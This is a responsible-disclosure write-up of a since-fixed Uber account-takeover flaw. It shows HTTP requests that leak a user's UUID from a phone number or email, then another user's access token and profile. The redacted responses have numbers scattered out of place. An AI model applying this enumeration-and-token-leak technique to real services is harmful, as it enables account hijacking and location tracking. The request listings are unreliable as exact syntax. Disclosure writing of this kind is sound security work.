I Could Have Hacked All Uber Accounts- But I Chose to Report it Instead

This is being published with the permission of Uber under the responsible disclosure policy. The vulnerability detailed in this blog post is being disclosed by Anand Prakash of AppSecure . This was plugged quickly by the security team at Uber. This issue is similar to Facebook’s access token leak which was discovered last year https://techcrunch.com/2018/09/28/facebook-says-50-million-accounts-affected-by-account-takeover-bug/ Uber is a transportation network company (TNC) headquartered in San Francisco, California. Uber offers services including peer-to-peer ridesharing, taxi cab hailing, food delivery, and a bicycle-sharing system. The company has operations in 785 metropolitan areas worldwide. Uber has a valuation of over $100 billion as per Bloomberg’s report. About Uber This post is about an account takeover vulnerability on Uber which allowed attackers to take over any other user’s Uber account (including riders, partners, eats) account by supplying user UUID in the API request and using the leaked token in the API response to hijack accounts. I was able to enumerate any other Uber’s user UUID by supplying their phone number or email address in another API request. Description It allowed an attacker to track the victim’s location, take rides from their account, etc. by compromising the account using the leaked access token of Uber mobile application. This also permitted takeover of Uber driver, Eats accounts. How my exploit worked step-by-step Below APIs leaked any Uber user’s (Partner, Rider, Ubereats user) UUID if supplied with their phone number or email address Step #1 Getting user UUID of any Uber User API #1 POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/ Host: partners.uber.com {“nationalPhoneNumber”:” xxxxx”,”countryCode”:” 1.1 99999 1 "} Response: {“status”:”failure”,”data”:{“code”:1009,”message”:”Driver ‘47d063f8–0xx5e-xxxxx-b01a-xxxx’ not found”}} ‘47d063f8–0xx5e-4eb4-xxx-xxxxxxx’ is leaked Uber UUID of Uber user having phone number 99999xxxxx API #2 POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/ Host: partners.uber.com {“email”:”xxx@gmail.com”} 1.1 Response leaks UUID: {“status”:”failure”,”data”:{“code”: ,”message”:”Driver ‘ca111b95– – -b907– abxxx5f7371e’ not found”}} 1009 1111 4396 83 ‘Ca111b95– – -b907– abxxx5f7371e’ is leaked Uber UUID Uber user having email address xxx@gmail.com. 1111 4396 83 of Step #2 Getting access token of any Uber user by supplying user id. Once you have the leaked Uber UUID from the above request for any user. Then you can replay below request using victim’s Uber UUID to get access to their private information like access token (mobile apps), location, address, etc. Access token allowed me to take over victim’s account completely, I was able to see rides, request rides, see payment information, etc. of our test accounts using the leaked token. The vulnerable Uber API: POST /marketplace/_rpc?rpc=getConsentScreenDetails HTTP/ Host: bonjour.uber.com Connection: close Content-Length: Accept: application/json Origin: https: x-csrf-token: xxxx User-Agent: Mozilla/ (Macintosh; Intel Mac OS X _14_3) AppleWebKit/ (KHTML, like Gecko) Chrome/ Safari/ DNT: Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q= Cookie: xxxxx {“language”:”en”,”userUuid”:”xxxx– – xxxx1bd a xxx604ce”} 1.1 67 //bonjour.uber.com 5.0 10 537.36 73.0 .3683 .103 537.36 1 0.9 776 4 -861 -837 Response leaked entire data of other user including mobile apps access token: {“status”:”success”,”data”:{“data”:{“language”:”en”,”userUuid”:”xxxxxx1e”},”getUser”:{“uuid”:”cxxxxxc5f7371e”,”firstname”:”Maxxxx”,”lastname”:”XXXX”,”role”:”PARTNER”,”languageId”:1,”countryId”:77,”mobile”:null,”mobileToken”:1234,”mobileCountryId”:77,”mobileCountryCode”:”+91",”hasAmbiguousMobileCountry”:false,”lastConfirmedMobileCountryId”:77,”email”:” ”,”emailToken”:”xxxxxxxx”,”hasConfirmedMobile”:”no”,”hasOptedInSmsMarketing”:false,”hasConfirmedEmail”:true,”gratuity”:0.3,”nickname”:” ”,”location”:”00000",”banned”:false,”cardio”:false,”token”:”b8038ec4143bb4xxxxxx72d”,”fraudScore”:0,”inviterUuid”:null,”pictureUrl”:”xxxxx.jpeg”,”recentFareSplitterUuids”:[“xxx”],”lastSelectedPaymentProfileUuid”:”xxxxxx”,”lastSelectedPaymentProfileGoogleWalletUuid”:null,”inviteCode”:{“promotionCodeId”:xxxxx,”promotionCodeUuid”:”xxxx”,”promotionCode”:”manishas105",”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,76,2,21,215,101]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,76,65,211,61,9]}},”driverInfo”:{“contactinfo”:”999999999xx”,”contactinfoCountryCode”:”+91",”driverLicense”:”None”,”firstDriverTripUuid”:null,”iphone”:null,”partnerUserUuid”:”xxxxxxx”,”receiveSms”:true,”twilioNumber”:null,”twilioNumberFormatted”:null,”cityknowledgeScore”:0,”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,84,21,124,80,52]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,86,152,77,41,77]},”deletedAt”:null,”driverStatus”:”APPLIED”,”driverFlowType”:”UBERX”,”statusLocks”:null,”contactinfoCountryIso2Code”:”KR”,”driverEngagement”:null,”courierEngagement”:null},”partnerInfo”:{“address”:”Nxxxxxxx”,”territoryUuid”:”xxxxxx”,”company”:”None”,”address2":”None”,”cityId”:130,”cityName”:”None”,”firstPartnerTripUuid”:null,”preferredCollectionPaymentProfileUuid”:null,”phone”:””,”phoneCountryCode”:”+91",”state”:”None”,”vatNumber”:”None”,”zipcode”:”None”,”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,84,21,124,80,52]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,101,38,177,88,137]},”deletedAt”:null,”fleetTypes”:[],”fleetServices”:[],”isFleet”:true},”analytics”:{“signupLat”:133.28741199,”signupLng”:11177.1111,”signupTerritoryUuid”:”xxxxx”,”signupPromoId”:null,”signupForm”:”iphone”,”signupSessionId”:”xxxxxxx”,”signupAppVersion”:”2.64.1",”signupAttributionMethod”:null,”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,76,2,21,219,1]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,76,2,21,219,1]},”signupCityId”:130,”signupDeviceId”:null,”signupReferralId”:null,”signupPromoCode”:null,”signupPromoCodeUuid”:null,”signupPromoUuid”:null,”signupMethod”:”REGULAR”},”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,76,2,21,215,153]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,102,81,35,153,135]},”deletedAt”:null,”tenancy”:”uber/production”,”mobileConfirmationStatus”:”MOBILE_NOT_CONFIRMED”,”nationalId”:null,”nationalIdType”:null,”merchantLocation”:null,”lastConfirmedMobile”:”xxxxxxxxxx”,”requestedDeletionAt”:null,”dateOfBirth”:xxxxxx,”userTypes”:null,”preferredName”:”xxxxxxxx”,”freightInfo”:null,”tempPictureUrl”:null,”identityVerified”:null,”paymentEntityType”:null,”riderEngagement”:null,”identityRejectReasonUuid”:null,”genderInferred”:null,”genderIdentity”:null,”genderDocumented”:null,”riderIneligibleWdw”:null,”defaultPaymentProfileByProduct”:null,”loginEligibility”:null},”getDisclosureVersionUuid”:””,”getLocaleCopy”:null}} xxxx@gmail.com abc@gmail.c Video Proof of Concept: https://player.vimeo.com/video/359252275 Uber fixed the issue by authorizing the request with current user session and removing sensitive information like access token from the response. April 19, 2019 — Reported to Uber April 25, 2019 — Report Triaged April 26, 2019 — Vulnerability fixed, the bounty of $6500 USD awarded. June 28th, 2019 — Requested for disclosure September 9, 2019 — Report disclosed by Uber Disclosure Timeline Thanks for reading. -Anand Prakash

I Could Have Hacked All Uber Accounts- But I Chose to Report it Instead

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